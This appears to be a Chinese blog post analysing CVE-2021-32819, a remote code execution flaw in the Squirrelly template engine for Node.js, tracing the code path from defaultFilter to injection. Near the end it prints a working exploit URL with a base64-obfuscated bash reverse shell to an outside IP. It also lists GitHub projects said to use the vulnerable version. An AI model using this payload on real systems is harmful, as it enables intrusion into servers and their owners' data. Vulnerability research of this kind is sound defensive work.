Nodejs Squirrelly 模板引擎 RCE(CVE-2021-32819)漏洞分析(二)

简介: Nodejs Squirrelly 模板引擎 RCE(CVE-2021-32819)漏洞分析

compile

7de9d90a9f6acad9b7b1c3a5c3da21fc_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210726000528675

  • str:该参数是前面通过 handleCache 函数获取到的模板文件(index.squirrelly)的内容:
"<!DOCTYPE html>\n<html>\n    <head>\n        <title>CVE-2021-32819</title>\n        <h1>Test For CVE-2021-32819</h1>\n    </head>\n<body>\n    <h1>{{it.variable}}</h1>\n</body>\n</html>"
  • env:是一组编译选项
{
  varName: "it",
  autoTrim: [
    false,
    "nl",
  ],
  autoEscape: true,
  defaultFilter: false,
  ...,
  variable: "HelloWorld",
  _locals: {
  },
  ...
}

compile 函数将编译选项定义为 env,然后在创建一个名为 ctor 的函数构造的别名,然后返回一个新的构造函数,最后进入到 compileToString 函数。跟进 compileToString。

compileToString

f97c3bddfa13c9faf00b7d5ba0ba34d0_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210726001614555

  • str:该参数是前面通过 handleCache 函数获取到的模板文件(index.squirrelly)的内容
"<!DOCTYPE html>\n<html>\n    <head>\n        <title>CVE-2021-32819</title>\n        <h1>Test For CVE-2021-32819</h1>\n    </head>\n<body>\n    <h1>{{it.variable}}</h1>\n</body>\n</html>"
  • env:是一组编译选项
{
  varName: "it",
  autoTrim: [
    false,
    "nl"],
  autoEscape: true,
  defaultFilter: false,
  ...,
  variable: "HelloWorld",
  _locals: {},
  ...
}

compileToString 函数定义一个 buffer 缓冲区并调用解析函数 parse 来解析模板内容及其变量:

[
  "<!DOCTYPE html>\n<html>\n    <head>\n        <title>CVE-2021-32819</title>\n        <h1>Test For CVE-2021-32819</h1>\n    </head>\n<body>\n    <h1>",
  {
    f: [
    ],
    c: "it.variable",
    t: "i",
  },
  "</h1>\\n</body>\\n</html>",
]

其中 compileToString 函数调用了 compileScope 函数,跟进 compileScope。

compileScope

export function compileScope (buff: Array<AstObject>, env: SqrlConfig) {
  var i = 0
  var buffLength = buff.length
  var returnStr = ''
  for (i; i < buffLength; i++) {
    var currentBlock = buff[i]
    if (typeof currentBlock === 'string') {
      var str = currentBlock
      returnStr += "tR+='" + str + "';"
    } else {
      var type: ParsedTagType = currentBlock.t as ParsedTagType // h, s, e, i
      var content = currentBlock.c || ''
      var filters = currentBlock.f
      var name = currentBlock.n || ''
      var params = currentBlock.p || ''
      var res = currentBlock.res || ''
      var blocks = currentBlock.b
      var isAsync = !!currentBlock.a
      if (type === 'i') {
        if (env.defaultFilter) {
          content = "c.l('F','" + env.defaultFilter + "')(" + content + ')'
        }
        var filtered = filter(content, filters)
        if (!currentBlock.raw && env.autoEscape) {
          filtered = "c.l('F','e')(" + filtered + ')'
        }
        returnStr += 'tR+=' + filtered + ';'
      } else if (type === 'h') {
        ...
      } else if (type === 's') {
        ...
      } else if (type === 'e') {
        ...
      }
    }
  }
  return returnStr
}
  • buff:一个包含之前解析生成的模板内容的数组
[
  "<!DOCTYPE html>\n<html>\n    <head>\n        <title>CVE-2021-32819</title>\n        <h1>Test For CVE-2021-32819</h1>\n    </head>\n<body>\n    <h1>",
  {
    f: [
    ],
    c: "it.variable",
    t: "i",
  },
  "</h1>\\n</body>\\n</html>",
]
  • env:是一组编译选项
{
  varName: "it",
  autoTrim: [false, "nl"],
  autoEscape: true,
  defaultFilter: false,
  ...,
  variable: "HelloWorld",
  _locals: { },
  ...
}

compileScope 中主要就是一个 for 循环,遍历 buff 中的模板内容,如果元素是一个字符串,它会将字符串添加到 returnStr 变量中。如果它不是字符串,则继续执行 else 部分。

其中第一个元素 buff[0]和最后一个元素  buff[2] 是一个字符串:

[
  "<!DOCTYPE html>\n<html>\n    <head>\n        <title>CVE-2021-32819</title>\n        <h1>Test For CVE-2021-32819</h1>\n    </head>\n<body>\n    <h1>",
  ......
  "</h1>\\n</body>\\n</html>",
]

中间的元素 buff[1] 是一个对象:

{
    f: [],
    c: "it.variable",
    t: "i",
  }

compileScope 函数会检查 env.defaultFilter 是否设置了,如果有设置 env.defaultFilter,则将 env.defaultFilter 的值添加到 content 变量中。但是现在 env.defaultFilter 还是没有被设置的。然后 filter 函数将 content 内容返回给 filtered 变量:

tR+='<!DOCTYPE html>\n<html>\n    <head>\n        <title>CVE-2021-32819</title>\n        <h1>Test For CVE-2021-32819</h1>\n    </head>\n<body>\n    <h1>';
tR+=c.l('F','e')(it.variable);
tR+='</h1>\\n</body>\\n</html>';

最后将 filtered 的内容添加到 returnStr 变量中并返回给 compileToString 函数作用域的 res 变量中,然后再由 compileToString 函数将 res 变量的内容拼接成一个匿名函数,内容如下:

var res = "var tR='';" + "tR+='<!DOCTYPE html>\n<html>\n    <head>\n        <title>CVE-2021-32819</title>\n        <h1>Test For CVE-2021-32819</h1>\n    </head>\n<body>\n    <h1>';tR+=c.l('F','e')(it.variable);tR+='</h1>\\n</body>\\n</html>';" + 'if(cb){cb(null,tR)} return tR'
 // it.variable 的值为 HelloWorld

当返回到 handleCache 函数时,将会执行匿名函数:

(function anonymous(it,c,cb
) {
    var tR='';
    tR+='<!DOCTYPE html>\n<html>\n    <head>\n        <title>CVE-2021-32819</title>\n        <h1>Test For CVE-2021-32819</h1>\n    </head>\n<body>\n    <h1>';
    tR+=c.l('F','e')(it.variable);
    tR+='</h1>\n</body>\n</html>';
    if(cb){cb(null,tR)}
    return tR
})

看到这里你应该就明白了。这个漏洞主要的引入点就是 compileScope 函数中的 env.defaultFilter,我们可以通过 URL 中的参数来覆盖这个配置属性的值,比如:/?defaultFilter=payload 可以将 env.defaultFilter 的值覆盖为我们的 payload。并且一旦设置了 env.defaultFilter 的值,将进入到以下代码:

content = "c.l('F','" + env.defaultFilter + "')(" + content + ')';

可知我们可以通过设置 env.defaultFilter 的值来注入希望执行的代码。所以该漏洞利用的 Payload 如下:

http://192.168.226.148:3000/?defaultFilter=e')); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xNDMvMjMzMyAgMD4mMQ==|base64 -d|bash'); //
# 使用时需进行 URL 编码

可能受到该漏洞影响的项目

分析github上100星以上的项目,共有380个项目使用了squirrelly组件,其中有42个项目使用了存在漏洞的8.0.8版本,具体的项目清单如下,有使用的TX可以自查一下:

项目名称 项目url
open-olive/vscode-loop-development-kit https://github.com/open-olive/vscode-loop-development-kit
mizchi/uniroll https://github.com/mizchi/uniroll
reissmatt/risen-one-mission-platform https://github.com/reissmatt/risen-one-mission-platform
rpenco/light-webhook https://github.com/rpenco/light-webhook
JuanFdS/scriptBolaMagica https://github.com/JuanFdS/scriptBolaMagica
xnite/kittencore https://github.com/xnite/kittencore
adamuchi/login-with-demo https://github.com/adamuchi/login-with-demo
Berzok/Verena_Codex https://github.com/Berzok/Verena_Codex
diamondv5/SE-nonoffical https://github.com/diamondv5/SE-nonoffical
sitevision/sitevision-apps https://github.com/sitevision/sitevision-apps
abyrvalg/pleh4 https://github.com/abyrvalg/pleh4
Riscue/drone-tool-settings https://github.com/Riscue/drone-tool-settings
reissmatt/risen-one-mission-platform https://github.com/reissmatt/risen-one-mission-platform
ZohaibArshad12/muze-beta https://github.com/ZohaibArshad12/muze-beta
HieuKma/squirrelly-template-11 https://github.com/HieuKma/squirrelly-template-11
mcoop320/hls-media-server https://github.com/mcoop320/hls-media-server
yummyweb/neuron-js https://github.com/yummyweb/neuron-js
donaldskip326/gauzy1 https://github.com/donaldskip326/gauzy1
HieuKma/squirrelly-template-10 https://github.com/HieuKma/squirrelly-template-10
shuvalov-mdb/xstate-cpp-generator https://github.com/shuvalov-mdb/xstate-cpp-generator
googleapis/google-cloudevents-python https://github.com/googleapis/google-cloudevents-python
googleapis/google-cloudevents-python https://github.com/googleapis/google-cloudevents-python
NgoDucPhu/squirrelly-template https://github.com/NgoDucPhu/squirrelly-template
kimha0/clone-you/这都敏感词/tube https://github.com/kimha0/clone-you/这都敏感词/tube
nervetattoo/simple-thermostat https://github.com/nervetattoo/simple-thermostat
adobe/ferrum.doctest https://github.com/adobe/ferrum.doctest
donaldskip326/gauzy1 https://github.com/donaldskip326/gauzy1
donaldskip326/gauzy1 https://github.com/donaldskip326/gauzy1
ever-co/ever-gauzy https://github.com/ever-co/ever-gauzy
nqnghia285/music-app https://github.com/nqnghia285/music-app
CandyMan999/lmp-v2 https://github.com/CandyMan999/lmp-v2
tabarra/txAdmin https://github.com/tabarra/txAdmin
ever-co/ever-gauzy https://github.com/ever-co/ever-gauzy
ever-co/ever-gauzy https://github.com/ever-co/ever-gauzy
recoai/recoai-ts-sdk https://github.com/recoai/recoai-ts-sdk
donaldskip326/gauzy1 https://github.com/donaldskip326/gauzy1
ever-co/ever-gauzy https://github.com/ever-co/ever-gauzy
baovit72/Solance https://github.com/baovit72/Solance
reissmatt/risen-one-mission-platform https://github.com/reissmatt/risen-one-mission-platform

漏洞防御措施

该漏洞到目前为止还没有被修复,所以如果你在项目中使用了 Squirrelly 组件,那么都需要小心该类型漏洞的出现。而对于不得已必须使用这种技术的项目,最好做好防御措施,包括:

  • 降低运行该进程的用户的权限
  • 限制该进程可以访问的路径
  • 对用户输入进行白名单控制
  • 对于该进程可以执行的操作系统命令做白名单控制

Ending......

d58e08613c23a06769d5ae0aed1fd176_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

我的博客:https://whoamianony.top/

参考:

https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/

https://blog.diefunction.io/vulnerabilities/ghsl-2021-023

https://github.com/Abady0x1/CVE-2021-32819

相关文章
|
24天前
|
JavaScript
如何使用内存快照分析工具来分析Node.js应用的内存问题?
需要注意的是,不同的内存快照分析工具可能具有不同的功能和操作方式,在使用时需要根据具体工具的说明和特点进行灵活运用。
39 3
|
4月前
|
搜索推荐 Java API
Electron V8排查问题之分析 node-memwatch 提供的堆内存差异信息来定位内存泄漏对象如何解决
Electron V8排查问题之分析 node-memwatch 提供的堆内存差异信息来定位内存泄漏对象如何解决
125 0
|
7月前
|
数据采集 JavaScript 数据可视化
Node.js爬虫在租房信息监测与分析中的应用
Node.js爬虫在租房信息监测与分析中的应用
|
7月前
|
监控 JavaScript 安全
监控内网电脑软件设计与实现:基于Node.js的服务器端架构分析
在当今信息技术高度发达的时代,监控内网电脑的需求日益增长。企业需要确保网络安全,个人用户也需要监控家庭网络以保护隐私和安全。本文将介绍一种基于Node.js的服务器端架构,用于设计和实现监控内网电脑软件。
219 0
|
Android开发
[慕课笔记]Node入口文件分析和目录初始化
[慕课笔记]Node入口文件分析和目录初始化
51 0
|
前端开发 JavaScript 关系型数据库
Node框架 【Koa】之 【静态资源管理、模板引擎、连接数据库】
Node框架 【Koa】之 【静态资源管理、模板引擎、连接数据库】
202 0
|
安全 JavaScript 前端开发
Nodejs Squirrelly 模板引擎 RCE(CVE-2021-32819)漏洞分析(一)
Nodejs Squirrelly 模板引擎 RCE(CVE-2021-32819)漏洞分析
248 0
Nodejs Squirrelly 模板引擎 RCE(CVE-2021-32819)漏洞分析(一)
node笔记记录75模板引擎1
node笔记记录75模板引擎1
41 0
node笔记记录75模板引擎1
node笔记记录76模板引擎2
node笔记记录76模板引擎2
64 0
node笔记记录76模板引擎2
node笔记记录78模板引擎4
node笔记记录78模板引擎4
48 0
node笔记记录78模板引擎4